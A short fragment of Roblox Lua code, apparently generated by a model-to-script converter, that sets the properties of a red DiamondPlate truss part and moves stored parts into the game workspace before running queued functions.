- TrussPart414.Size = Vector3.new(2, 38.0499687, 2)
- TrussPart414.Anchored = true
- TrussPart414.BackSurface = Enum.SurfaceType.Smooth
- TrussPart414.BottomSurface = Enum.SurfaceType.Smooth
- TrussPart414.BrickColor = BrickColor.new("Really red")
- TrussPart414.FrontSurface = Enum.SurfaceType.Smooth
- TrussPart414.LeftSurface = Enum.SurfaceType.Smooth
- TrussPart414.Material = Enum.Material.DiamondPlate
- TrussPart414.RightSurface = Enum.SurfaceType.Smooth
- TrussPart414.TopSurface = Enum.SurfaceType.Smooth
- TrussPart414.brickColor = BrickColor.new("Really red")
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = workspace
- pcall(function() v:MakeJoints() end)
- end
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
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